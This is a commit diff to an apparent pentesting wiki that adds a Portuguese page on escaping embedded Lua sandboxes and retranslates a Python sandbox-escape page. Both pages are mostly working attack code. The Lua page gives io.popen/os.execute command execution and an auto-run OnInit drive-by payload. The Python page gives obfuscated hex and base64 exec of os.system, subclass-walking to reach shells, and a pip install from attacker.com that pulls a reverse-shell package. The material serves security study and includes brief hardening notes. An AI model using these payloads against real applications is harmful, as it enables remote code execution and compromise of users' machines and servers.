Translated ['src/generic-methodologies-and-resources/python/bypass-pytho

This commit is contained in:
Translator 2025-09-03 10:49:03 +00:00
parent ec85c6bc55
commit 8365d9494a
3 changed files with 198 additions and 91 deletions

View File

@ -80,6 +80,8 @@
- [Bruteforce hash (few chars)](generic-methodologies-and-resources/python/bruteforce-hash-few-chars.md)
- [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
- [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md)
- [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md)
- [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md)
# 🧙‍♂️ Generic Hacking
@ -926,13 +928,4 @@
- [Post Exploitation](todo/post-exploitation.md)
- [Investment Terms](todo/investment-terms.md)
- [Cookies Policy](todo/cookies-policy.md)
- [Readme](blockchain/blockchain-and-crypto-currencies/README.md)
- [Readme](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md)
- [Readme](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md)
- [Readme](pentesting-web/web-vulnerabilities-methodology/README.md)
- [Readme](reversing/cryptographic-algorithms/README.md)
- [Readme](reversing/reversing-tools/README.md)
- [Readme](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md)

View File

@ -0,0 +1,115 @@
# Bypass Lua sandboxes (embedded VMs, game clients)
{{#include ../../../banners/hacktricks-training.md}}
Esta página reúne técnicas práticas para enumerar e escapar de sandboxes de Lua embutidos em aplicações (notadamente game clients, plugins, or in-app scripting engines). Muitas engines expõem um ambiente Lua restrito, mas deixam globals poderosos acessíveis que permitem execução arbitrária de comandos ou até corrupção de memória nativa quando bytecode loaders estão expostos.
Ideias principais:
- Trate a VM como um ambiente desconhecido: enumere _G e descubra quais primitives perigosas estão acessíveis.
- Quando stdout/print estiver bloqueado, abuse de qualquer canal UI/IPC in-VM como output sink para observar os resultados.
- Se io/os estiver exposto, frequentemente você tem execução direta de comandos (io.popen, os.execute).
- Se load/loadstring/loadfile estiverem expostos, executar crafted Lua bytecode pode subverter a segurança de memória em algumas versões (≤5.1 verifiers são bypassáveis; 5.2 removed verifier), permitindo exploração avançada.
## Enumerar o ambiente sandboxed
- Faça dump do ambiente global para inventariar reachable tables/functions:
```lua
-- Minimal _G dumper for any Lua sandbox with some output primitive `out`
local function dump_globals(out)
out("=== DUMPING _G ===")
for k, v in pairs(_G) do
out(tostring(k) .. " = " .. tostring(v))
end
end
```
- Se print() não estiver disponível, reaproveite in-VM channels. Exemplo de um MMO housing script VM onde chat output só funciona após uma sound call; o seguinte constrói uma função de output confiável:
```lua
-- Build an output channel using in-game primitives
local function ButlerOut(label)
-- Some engines require enabling an audio channel before speaking
H.PlaySound(0, "r[1]") -- quirk: required before H.Say()
return function(msg)
H.Say(label or 1, msg)
end
end
function OnMenu(menuNum)
if menuNum ~= 3 then return end
local out = ButlerOut(1)
dump_globals(out)
end
```
Generalize esse padrão para o seu alvo: qualquer textbox, toast, logger ou UI callback que aceite strings pode agir como stdout para reconnaissance.
## Execução direta de comandos se io/os estiver exposto
Se o sandbox ainda expõe as bibliotecas padrão io ou os, você provavelmente tem execução imediata de comandos:
```lua
-- Windows example
io.popen("calc.exe")
-- Cross-platform variants depending on exposure
os.execute("/usr/bin/id")
io.popen("/bin/sh -c 'id'")
```
Notas:
- A execução ocorre dentro do processo do cliente; muitas camadas anti-cheat/antidebug que bloqueiam debuggers externos não impedirão a criação de processos in-VM.
- Verifique também: package.loadlib (carregamento arbitrário de DLL/.so), require com módulos nativos, LuaJIT's ffi (se presente), e a debug library (pode elevar privilégios dentro da VM).
## Zero-click triggers via auto-run callbacks
Se a aplicação host envia scripts para os clientes e a VM expõe auto-run hooks (e.g., OnInit/OnLoad/OnEnter), coloque seu payload ali para drive-by compromise assim que o script for carregado:
```lua
function OnInit()
io.popen("calc.exe") -- or any command
end
```
Qualquer callback equivalente (OnLoad, OnEnter, etc.) generaliza essa técnica quando scripts são transmitidos e executados no cliente automaticamente.
## Primitivas perigosas para caçar durante o recon
Durante a enumeração de _G, procure especificamente por:
- io, os: io.popen, os.execute, file I/O, env access.
- load, loadstring, loadfile, dofile: executam source ou bytecode; suportam carregar bytecode não confiável.
- package, package.loadlib, require: carregamento dinâmico de bibliotecas e superfície de módulos.
- debug: setfenv/getfenv (≤5.1), getupvalue/setupvalue, getinfo, e hooks.
- LuaJIT-only: ffi.cdef, ffi.load para chamar código nativo diretamente.
Minimal usage examples (if reachable):
```lua
-- Execute source/bytecode
local f = load("return 1+1")
print(f()) -- 2
-- loadstring is alias of load for strings in 5.1
local bc = string.dump(function() return 0x1337 end)
local g = loadstring(bc) -- in 5.1 may run precompiled bytecode
print(g())
-- Load native library symbol (if allowed)
local mylib = package.loadlib("./libfoo.so", "luaopen_foo")
local foo = mylib()
```
## Escalada opcional: abusando de Lua bytecode loaders
Quando load/loadstring/loadfile estão acessíveis mas io/os estão restritos, a execução de crafted Lua bytecode pode levar a memory disclosure e primitives de corrupção. Fatos-chave:
- Lua ≤ 5.1 shipped a bytecode verifier that has known bypasses.
- Lua 5.2 removed the verifier entirely (official stance: applications should just reject precompiled chunks), widening the attack surface if bytecode loading is not prohibited.
- Workflows tipicamente: leak pointers via in-VM output, craft bytecode to create type confusions (e.g., around FORLOOP or other opcodes), then pivot to arbitrary read/write or native code execution.
Este caminho é específico ao engine/version e requer RE. Veja as referências para deep dives, exploitation primitives, e exemplos de gadgetry em games.
## Detection and hardening notes (for defenders)
- Server side: reject or rewrite user scripts; allowlist safe APIs; strip or bind-empty io, os, load/loadstring/loadfile/dofile, package.loadlib, debug, ffi.
- Client side: run Lua with a minimal _ENV, forbid bytecode loading, reintroduce a strict bytecode verifier or signature checks, and block process creation from the client process.
- Telemetry: alert on gameclient → child process creation shortly after script load; correlate with UI/chat/script events.
## References
- [This House is Haunted: a decade old RCE in the AION client (housing Lua VM)](https://appsec.space/posts/aion-housing-exploit/)
- [Bytecode Breakdown: Unraveling Factorio's Lua Security Flaws](https://memorycorruption.net/posts/rce-lua-factorio/)
- [lua-l (2009): Discussion on dropping the bytecode verifier](https://web.archive.org/web/20230308193701/https://lua-users.org/lists/lua-l/2009-03/msg00039.html)
- [Exploiting Lua 5.1 bytecode (gist with verifier bypasses/notes)](https://gist.github.com/ulidtko/51b8671260db79da64d193e41d7e7d16)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,12 +1,13 @@
# Bypass Python sandboxes
# Contornar sandboxes em Python
{{#include ../../../banners/hacktricks-training.md}}
Estas são algumas técnicas para contornar proteções de sandbox python e executar comandos arbitrários.
## Bibliotecas de execução de comandos
A primeira coisa que você precisa saber é se você pode executar código diretamente com alguma biblioteca já importada, ou se você consegue importar alguma destas bibliotecas:
A primeira coisa que você precisa saber é se consegue executar código diretamente com alguma biblioteca já importada, ou se pode importar qualquer uma destas bibliotecas:
```python
os.system("ls")
os.popen("ls").read()
@ -39,21 +40,21 @@ open('/var/www/html/input', 'w').write('123')
execfile('/usr/lib/python2.7/os.py')
system('ls')
```
Lembre-se de que as funções _**open**_ e _**read**_ podem ser úteis para **ler arquivos** dentro do python sandbox e para **escrever algum código** que você possa **executar** para **bypass** o sandbox.
Remember that the _**open**_ and _**read**_ functions can be useful to **read files** inside the python sandbox and to **write some code** that you could **execute** to **bypass** the sandbox.
> [!CAUTION] > **Python2 input()** permite executar código python antes que o programa trave.
> [!CAUTION] > A função **Python2 input()** permite executar código python antes do programa travar.
Python tenta **carregar bibliotecas do diretório atual primeiro** (o seguinte comando vai imprimir de onde o python está carregando módulos): `python3 -c 'import sys; print(sys.path)'`
Python tenta **carregar bibliotecas do diretório atual primeiro** (o comando a seguir vai imprimir de onde o python está carregando módulos): `python3 -c 'import sys; print(sys.path)'`
![](<../../../images/image (559).png>)
## Bypass pickle sandbox com os pacotes python instalados por padrão
## Bypass pickle sandbox with the default installed python packages
### Pacotes padrão
Você pode encontrar uma **lista de pacotes pré-instalados** aqui: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
Note que a partir de um pickle você pode fazer com que o ambiente python **importe bibliotecas arbitrárias** instaladas no sistema.\
Por exemplo, o seguinte pickle, quando carregado, vai importar a biblioteca pip para usá-la:
You can find a **list of pre-installed** packages here: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
Note that from a pickle you can make the python env **import arbitrary libraries** installed in the system.\
For example, the following pickle, when loaded, is going to import the pip library to use it:
```python
#Note that here we are importing the pip library so the pickle is created correctly
#however, the victim doesn't even need to have the library installed to execute it
@ -66,7 +67,7 @@ return (pip.main,(["list"],))
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
```
Para mais informações sobre como o pickle funciona, veja isto: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
Para mais informações sobre como o pickle funciona, confira isto: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
### Pacote pip
@ -77,21 +78,21 @@ Se você tem acesso a `pip` ou `pip.main()` você pode instalar um pacote arbitr
pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
```
Você pode baixar o pacote para criar a reverse shell aqui. Por favor, note que antes de usá-lo você deve **descompactá-lo, alterar o `setup.py`, e colocar seu IP para a reverse shell**:
Você pode baixar o pacote para criar o reverse shell aqui. Por favor, note que antes de usá-lo você deve **descompactá-lo, modificar o `setup.py`, e colocar seu IP para o reverse shell**:
{{#file}}
Reverse.tar (1).gz
{{#endfile}}
> [!TIP]
> Este pacote se chama `Reverse`. No entanto, ele foi especialmente criado de modo que quando você sair da reverse shell o restante da instalação falhará, então você **não deixará nenhum pacote python extra instalado no servidor** quando sair.
> Este pacote se chama `Reverse`. No entanto, ele foi especialmente criado de forma que, quando você sair do reverse shell, o restante da instalação falhará, então você **não deixará nenhum pacote python adicional instalado no servidor** quando sair.
## Avaliando código python com eval
## Usando eval em python
> [!WARNING]
> Note que `exec` permite strings multilinha e ";", mas `eval` não (verifique walrus operator)
> Note que exec permite multiline strings e ";", mas eval não (check walrus operator)
Se certos caracteres forem proibidos, você pode usar a representação **hex/octal/B64** para **contornar** a restrição:
Se certos caracteres forem proibidos você pode usar a representação **hex/octal/B64** para **bypass** a restrição:
```python
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
@ -112,7 +113,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
```
### Outras bibliotecas que permitem eval python code
### Outras bibliotecas que permitem usar eval em código python
```python
#Pandas
import pandas as pd
@ -126,7 +127,7 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
# Like:
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
```
Veja também um sandboxed evaluator escape do mundo real em geradores de PDF:
Veja também um real-world sandboxed evaluator escape em geradores de PDF:
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Abusa de rl_safe_eval para alcançar function.__globals__ e os.system a partir de atributos avaliados (por exemplo, cor da fonte) e retorna um valor válido para manter a renderização estável.
@ -145,7 +146,7 @@ reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
```
## Contornando proteções através de codificações (UTF-7)
Em [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 é usado para carregar e executar código python arbitrário dentro de uma aparente sandbox:
Em [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 é usado para carregar e executar arbitrary python code dentro de uma aparente sandbox:
```python
assert b"+AAo-".decode("utf_7") == "\n"
@ -158,11 +159,11 @@ return x
```
Também é possível contorná-lo usando outras codificações, por exemplo `raw_unicode_escape` e `unicode_escape`.
## Execução em python sem chamadas
## Execução em Python sem chamadas
Se você estiver dentro de uma python jail que **não permite que você faça chamadas**, ainda existem algumas maneiras de **executar funções arbitrárias, código** e **comandos**.
### RCE com [decorators](https://docs.python.org/3/glossary.html#term-decorator)
### RCE with [decorators](https://docs.python.org/3/glossary.html#term-decorator)
```python
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
@exec
@ -184,13 +185,13 @@ X = exec(X)
@'__import__("os").system("sh")'.format
class _:pass
```
### RCE criando objetos e sobrecarga
### RCE creating objects and overloading
Se você puder **declarar uma classe** e **criar um objeto** dessa classe, você pode **escrever/sobrescrever diferentes métodos** que podem ser **acionados** **sem** **precisar chamálos diretamente**.
Se você conseguir **declare a class** e **create an object** dessa class, você pode **write/overwrite different methods** que podem ser **triggered** **without** **needing to call them directly**.
#### RCE com classes personalizadas
#### RCE with custom classes
Você pode modificar alguns **métodos de classe** (_sobrescrevendo métodos de classe existentes ou criando uma nova classe_) para fazêlos **executar código arbitrário** quando **acionados** sem chamálos diretamente.
Você pode modificar alguns **class methods** (_by overwriting existing class methods or creating a new class_) para fazer com que eles **execute arbitrary code** quando **triggered** sem chamálos diretamente.
```python
# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
@ -242,7 +243,7 @@ __ixor__ (k ^= 'import os; os.system("sh")')
```
#### Criando objetos com [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)
A principal coisa que os metaclasses nos permitem fazer é **make an instance of a class, without calling the constructor** diretamente, criando uma nova class com a target class como metaclass.
O principal que as metaclasses nos permitem fazer é **criar uma instância de uma classe sem chamar diretamente o construtor**, criando uma nova classe com a classe alvo como metaclass.
```python
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass"
@ -257,9 +258,9 @@ Sub['import os; os.system("sh")']
## You can also use the tricks from the previous section to get RCE with this object
```
#### Criando objetos com exceptions
#### Criando objetos com exceções
Quando uma **exception é acionada**, um objeto da **Exception** é **criado** sem que você precise chamar o constructor diretamente (um truque de [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
Quando uma **exceção é disparada** um objeto da **Exception** é **criado** sem que você precise chamar o construtor diretamente (um truque de [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
```python
class RCE(Exception):
def __init__(self):
@ -301,7 +302,7 @@ __iadd__ = eval
__builtins__.__import__ = X
{}[1337]
```
### Ler arquivo com builtins help & license
### Ler arquivo com ajuda dos builtins & licença
```python
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help
@ -315,17 +316,18 @@ pass
- [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
- [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)
Se você conseguir acessar o objeto **`__builtins__`** você pode importar bibliotecas (observe que você também pode usar aqui outras representações de string mostradas na seção anterior):
Se você puder acessar o objeto **`__builtins__`** você pode importar bibliotecas (observe que você também poderia usar aqui outras representações de string mostradas na última seção):
```python
__builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls")
```
### Sem Builtins
Quando você não tem `__builtins__` você não vai conseguir importar nada nem sequer ler ou escrever arquivos como **todas as funções globais** (como `open`, `import`, `print`...) **não estão carregadas**.\
No entanto, **por padrão o python importa muitos módulos na memória**. Esses módulos podem parecer benignos, mas alguns deles **também importam funcionalidades perigosas** dentro deles que podem ser acessadas para obter até **execução arbitrária de código**.
Quando você não tem `__builtins__` você não vai conseguir importar nada nem mesmo ler ou escrever arquivos, pois **todas as funções globais** (como `open`, `import`, `print`...) **não estão carregadas**.\
Nos exemplos a seguir você pode observar como **abusar** de alguns desses módulos “**benignos**” carregados para **acessar** **funcionalidades** **perigosas** dentro deles.
No entanto, **por padrão o python importa muitos módulos na memória**. Esses módulos podem parecer benignos, mas alguns deles **também importam funcionalidades perigosas** internamente que podem ser acessadas para obter até mesmo **execução arbitrária de código**.
Nos exemplos a seguir você pode observar como **abusar** de alguns desses "**benign**" módulos carregados para **acessar** **funcionalidades** **perigosas** dentro deles.
**Python2**
```python
@ -383,9 +385,9 @@ __builtins__["__import__"]("os").system("ls")
# There are lots of other payloads that can be abused to execute commands
# See them below
```
## Globals and locals
## Globais e locais
Verificar os **`globals`** e **`locals`** é uma boa maneira de saber o que você pode acessar.
Verificar as **`globals`** e **`locals`** é uma boa forma de saber o que você pode acessar.
```python
>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
@ -409,15 +411,15 @@ class_obj.__init__.__globals__
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
```
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) para encontrar dezenas/**centenas** de **lugares** onde você pode encontrar os **globals**.
[**Abaixo há uma função maior**](#recursive-search-of-builtins-globals) para encontrar dezenas/**centenas** de **lugares** onde você pode encontrar as **globals**.
## Descobrir Arbitrary Execution
## Discover Arbitrary Execution
Aqui quero explicar como descobrir facilmente **mais funcionalidades perigosas carregadas** e propor exploits mais confiáveis.
Aqui quero explicar como descobrir facilmente **funcionalidades carregadas mais perigosas** e propor exploits mais confiáveis.
#### Acessando subclasses with bypasses
#### Accessing subclasses with bypasses
Uma das partes mais sensíveis desta técnica é ser capaz de **acessar as subclasses base**. Nos exemplos anteriores isso foi feito usando `''.__class__.__base__.__subclasses__()` mas **outras maneiras possíveis**:
Uma das partes mais sensíveis desta técnica é ser capaz de **acessar as subclasses base**. Nos exemplos anteriores isso foi feito usando `''.__class__.__base__.__subclasses__()` mas existem **outras formas possíveis**:
```python
#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
@ -447,12 +449,12 @@ defined_func.__class__.__base__.__subclasses__()
```
### Encontrando bibliotecas perigosas carregadas
Por exemplo, sabendo que com a biblioteca **`sys`** é possível **importar bibliotecas arbitrárias**, você pode procurar por todos os **módulos carregados que tenham importado sys dentro deles**:
Por exemplo, sabendo que com a biblioteca **`sys`** é possível **importar bibliotecas arbitrárias**, você pode procurar por todos os **módulos carregados que tenham importado sys em seu interior**:
```python
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
```
muitos, e **só precisamos de um** para executar comandos:
Existem muitos, e **só precisamos de um** para executar comandos:
```python
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
```
@ -491,7 +493,7 @@ Podemos fazer a mesma coisa com **outras bibliotecas** que sabemos que podem ser
#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
```
Além disso, poderíamos até pesquisar quais módulos estão carregando bibliotecas maliciosas:
Além disso, podemos até procurar quais módulos estão carregando bibliotecas maliciosas:
```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
for b in bad_libraries_names:
@ -510,7 +512,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
pdb:
"""
```
Além disso, se você acha que **outras bibliotecas** podem ser capazes de **invocar funções para executar comandos**, também podemos **filtrar pelos nomes das funções** dentro das bibliotecas possíveis:
Além disso, se você acha que **outras bibliotecas** podem conseguir **invocar funções para executar comandos**, também podemos **filtrar pelos nomes das funções** dentro das bibliotecas possíveis:
```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
@ -543,10 +545,10 @@ execute:
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
"""
```
## Busca Recursiva de builtins, globals...
## Busca Recursiva de Builtins, Globals...
> [!WARNING]
> Isto é simplesmente **incrível**. Se você está **procurando por um objeto como globals, builtins, open ou qualquer outro** use este script para **encontrar recursivamente lugares onde esse objeto pode estar.**
